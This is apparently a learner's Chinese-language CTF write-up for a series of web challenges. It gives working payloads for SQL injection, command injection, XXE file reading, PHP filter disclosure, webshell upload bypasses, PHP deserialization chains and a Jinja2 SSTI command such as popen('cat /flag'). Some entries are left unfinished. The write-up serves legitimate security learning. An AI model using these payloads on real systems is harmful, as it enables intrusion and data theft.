T1-万言启封咒
考察一个f12“元素”标签的使用,更改输入框内文字为txt内容即可
T2-初识金曦玄轨
考察bp等抓包,从模糊文字可知要访问/golden_trail页面,在响应头中即可看到flag
T3-问剑石!篡天改命!
宗门弟子改命,查看源代码可知是用一个POST请求上传level,并用js上传manifest,各自改好POST上去即可
T4-金曦破禁与七绝傀儡阵
-
磐石傀儡:get方法传参即可,直接?key=xdsec
-
织云傀儡: post方法传参即可,注意不要直接复制(手打一下织云阁=第一
-
溯源傀儡:本地访问,更改XFF(X-Forwarded-For)为127.0.0.1即可
-
器灵傀儡:使用“moe browser”访问,更改useragent即可
-
心印傀儡:“以xt的身份认证user”,注意认证这两个字的含金量,所以加上cookie:user=xt
-
逆转傀儡:PUT一个”新生!“上去即可(别忘了感叹号,并且更改Content-Type)
PUT /rebirth HTTP/1.1 Host: 逆转傀儡 Content-Type: text/plain 新生!
关键:使用PUT方法;简单设置Content-Type;在Body中传递一个象征"新生"的信息
T5-打上门来!
别给首页那个破阵的文件骗了……那个是T4的,第一次做顺序放反了,被坑了好久(泣)
…/…/穿越回主目录下即可发现flag
T6-藏经禁制?玄机初探!
mysql绕过登录
用户名字段大概是:
SELECT * FROM users WHERE username=‘$username’ AND password=‘$password’;(变量记得加$,md打不出来)
所以用户名输入admin’ or 1 = 1 # 以注释掉密码,之后密码字段随便填就好
T7-灵蛛探穴与阴阳双生符
”告知搜索引擎爬虫哪些页面可以抓取“,想到robots.txt,访问,发现”Disallow: /flag.php“
访问后发现要求a!=b,且md5值”相等“,想到md5碰撞,网上搜两个传参就好(传参直接跟?就好,不用/)
T8-天衍真言,星图显圣
根据提示,可知考察sql注入,首先尝试admin’ or 1 = 1#,给出回显“Welcome admin”,并未登录
输入预期错误admin’ and 1=2#,显示登陆错误,实锤是sql注入
admin’ order by 3#起报错,说明就user和pwd两列
-1’ union select 1111,2222#,回显1111,说明pwd的字段是黑盒(注意,用户名不要再用admin!!!admin存在就会一直报welcomeadmin,啥也拿不到)
爆库名:-1’ union select database(),2222# ,发现在user库
爆表名:-1’ union select table_name,2222 from information_schema.tables where table_schema = database() #,回显welcome flag
注意:“爆表名”时,where跟的是table_schema,且值写database,不要具体写user(待补充
爆列名:-1’ union select column_name,2222 from information_schema.columns where table_schema = database() and table_name = ‘flag’ #,得到回显welcome value
注意:flag要加双引号(泣),上面的原因也是这个
爆字段:-1’ union select value,2 from flag #,得到flag
T9-星墟禁制·天机问路
看网上wp,说是个SSRF漏洞,明天继续更()
牛魔SSRF😭问了伟大的ds大人,告诉我这只是普通的命令注入,可以使用管道符|或者分号;来执行想要的命令
尝试www.baidu.com报错:
1 | `;; communications error to 10.43.0.10#53: connection refused` |
经查找,有:
-
;;是 Linux 下dig命令(DNS 查询工具)的专属输出格式。 -
#53是 DNS 服务的默认端口
可知大概是网址被拼接到nslookup这种系统命令底下,故而可以使用管道符或者分号直接执行后头的命令
T10-天机符阵
试图直接env逃课(),但是返回报错:
1 | `<br /><b>Warning</b>: DOMDocument::loadXML(): Start tag expected, '<' not found in Entity, line: 1 in <b>/var/www/html/chapter10.php</b> on line <b>17</b><br /> |
注意到后端使用 DOMDocument::loadXML() 解析用户输入,存在典型的 XXE(XML External Entity)漏洞,速去helloctf补课
阵枢和输出未定义,这里尝试<输出>test</输出>,发现可以正常得到回显(开心o( ̄▽ ̄)ブ
尝试如下(感谢Patricia Of End):
1 | <root> |
发现对于解析和输出有回显,说明这两个标签不为静态,可以利用它们输出flag,存在 任意文件读取(XXE/LFI) 漏洞。
又因为题目已经提示“文件在flag.txt中”,故用这个漏洞访问file:///var/www/html/flag.txt即可
1 |
|
补充:这里双引号内的路径的文件被称为外部实体,而ENTITY后的flag类似于声明的变量名,如果对于这个“变量”赋值的话,那就是一个内部实体,内外实体在没有特别限制(DTD和外部实体未禁用)的情况下,可以被xml内容标签里的,形如&flag的实体引用解析喵。
T11-千机变·破妄之眼
“GET 参数名由m,n,o,p,q这五个字母组成(每个字母出现且仅出现一次),长度正好为 5,虽然不清楚字母的具体顺序,但是他知道参数名等于参数值才能进入”,故而先使用python生成120个payload,然后bp爆破即可(脚本等下试试
爆破这块有点诡异,不知道怎么回事bp总是不行…改天继续试,这里参考wp先跳过到find.php
访问flag.php被嘲讽🤬
既然要破妄,我们考虑使用filter绕过查看注释:
将./flag.php改为 php://filter/read=convert.base64-encode/resource=./flag.php 即可,解码后可以得到flag
需要注意的是,有些时候直接base64encode是不够的,我们需要通过zlib.deflate作为read的方法,然后在py里导入zlib库,使用如下方法来解码:
1 | zlib.decompress(data, -zlib.MAX_WBITS) |
T12-玉魄玄关·破妄
这道题用于学习 蚁剑 的使用,请使用 蚁剑 完成本题
发现后端:
1 |
|
和疯了一样,是一段密码cmd的一句话木马,蚁剑直接就连到服务器,env即可。
T13-通幽关·灵纹诡影
文件上传漏洞,但是只检查了文件的16进制头和后缀名,把上面的一句话木马修改文件头,上传后同T12
T14-御神关·补天玉碑
省流:Apache有一个特殊文件,是什么呢?
W1:由题得,web server是用的apache,而在1,2大版本号的Apache中,会从后往前解析文件类型,直到认识为止,所以可以考虑将那个cmd木马文件名改为cmd.php.rar,从而绕过()你也不过滤我压缩包啊(笑
W2:“禁止上传攻伐符咒(如.php, .php5, .jsp, .asp等邪道术法)”,可知仍然是限制了上传类型,在Apache 服务器启用了 AllowOverride 选项,允许 .htaccess 文件覆盖默认配置的情况下,可以考虑 .htaccess 解析绕过,从而让特定类型/特定文件以php类型解析(当然,我们假设出题人是善良的):
1 | <Files *.jpg> |
之后上传cmd.php.jpg即可
T15-归真关·竞时净魔
符文上传后将进行「重命名净化」,魔气会快速清除违规符文,请把握时机!
可知本题考查条件竞争下的文件上传,又发现:
图片上传至/uploads
故而可知,访问uploads目录下上传的图片即可,这里使用bp同时无限上传和访问,然后yukuri地用蚁剑连就好了
但是我们尝试用上面的cmd木马,十分钟后无果,询问ds,发现条件竞争还要输密码的话,基本就别想命中了(泣),所以我们改用木马:
1 |
|
用它创建一个pass.php在上传的目录下,并w(write)后面的内容(这种情况apache只会删除你传上来的原文件,pass.php得以保留)
后来我们涨了点经验,发现只要访问的线程数远大于上传时,执行代码的几率就会增大,从而迅速开始我们可爱的蚁剑连接。当然这是后话了 --9.20update
T16-昆仑星途
牛魔这段是重写的,typedown什么垃圾编辑器滚一边去吧(ノ`Д)ノ
打开后发现是一段php:
1 |
|
打开附件的php.ini发现:
1 | [PHP] |
在这两者都启用的情况下,可以使用data://伪协议,通过文件包含漏洞找flag:
故输入:
1 | /?file=data://text/plain,<?php system('env') ?> |
,结果没找到flag,出题人坏🤬
这次尝试ls /,发现一个随机生成的flag文件,cat /flag-一堆.txt即可
T17-星骸迷阵·神念重构
发现php:
1 |
|
是个反序列化漏洞利用,unserialize结束时对象自动销毁,会触发__destruct()这个魔术方法,故而构造:
/?a=O:1:“A”:1:{s:1:“a”;s:13:“system(‘env’);”;}即可得到flag,出题人好😋
T18-万卷诡阁·功法连环
打开后发现是一段php,典型的pop链构造:
1 |
|
分析可知:WeakPoint: eval($name)
?person=_TOARUvalue -> unseri ->__wakeup:
将person对象里的name属性提取出来,赋给PA里的name属性,再用name属性调用PB的work()
PB:这个name和上面的不一样,PA的name属性里头还要包括一个name属性,说明PA的name为O,即person为两层
顺便一说分析出来PA的name最里头(即PB的name属性)就是要执行的命令
这里我们构造如下脚本:
1 |
|
之后得到
1 | O:7:"PersonA":1:{s:4:"name";O:7:"PersonB":1:{s:4:"name";s:14:"system("env");";}} |
将外层的name改成私有属性即可(偷懒是要付出代价的),s:13:“%00PersonA%00name” 注意一个%00只占一个位置
T19-星穹真相·补天归源
笔者看了题半天,感觉要累死了,下午/明天继续
T20-幽冥血海·幻语心魔
注意到:
1 | <div id="result-content"><div class='login-success'>欢迎: {username}</div></div> |
发现欢迎信息中username直接由jinja2渲染,同26年的moe(是的我先做的26),我们不难想到SSTI注入。
先采用{{config}}试试水:
1 | Welcome: <Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': None, 'SECRET_KEY_FALLBACKS': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'TRUSTED_HOSTS': None, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PARTITIONED': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'MAX_FORM_MEMORY_SIZE': 500000, 'MAX_FORM_PARTS': 1000, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'PROVIDE_AUTOMATIC_OPTIONS': True}> |
返回了这些,但是注意到没有密钥,不过话说这题本来也不是要登录获取信息的~~(26年的题源码里头给了雌小鬼一样的提示,引人注意)~~,所以我们直接构造{{}}里的命令即可,尝试env发现啥也没有,于是我们构造:
什么,你说你不会构造,试了个{{cat /flag}}结果报了internal server error😭,没事的我们还有大模型:
1 | {{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }} |
原理:
config是Flask应用的一个内置对象。通过访问它的__class__(类)→__init__(构造函数)→__globals__(全局命名空间),可以找到os模块,然后调用os.popen()来执行系统命令cat /flag,并通过.read()读取输出。
怎么什么都是flask应用,感觉以后得去学学web开发。总之我们通过这个模板,可以实现python中导入os库的功能,从而使用.popen方法执行系统命令,得到flag。
T21-往生漩涡·言灵死局
看上去仍然是SSTI?(主要界面几乎一样),我们尝试了{{config}},发现被拦截返回了error,看上去我们得分析源码了😭
什么叫八点四十了笔者要开始玩游戏了?
评论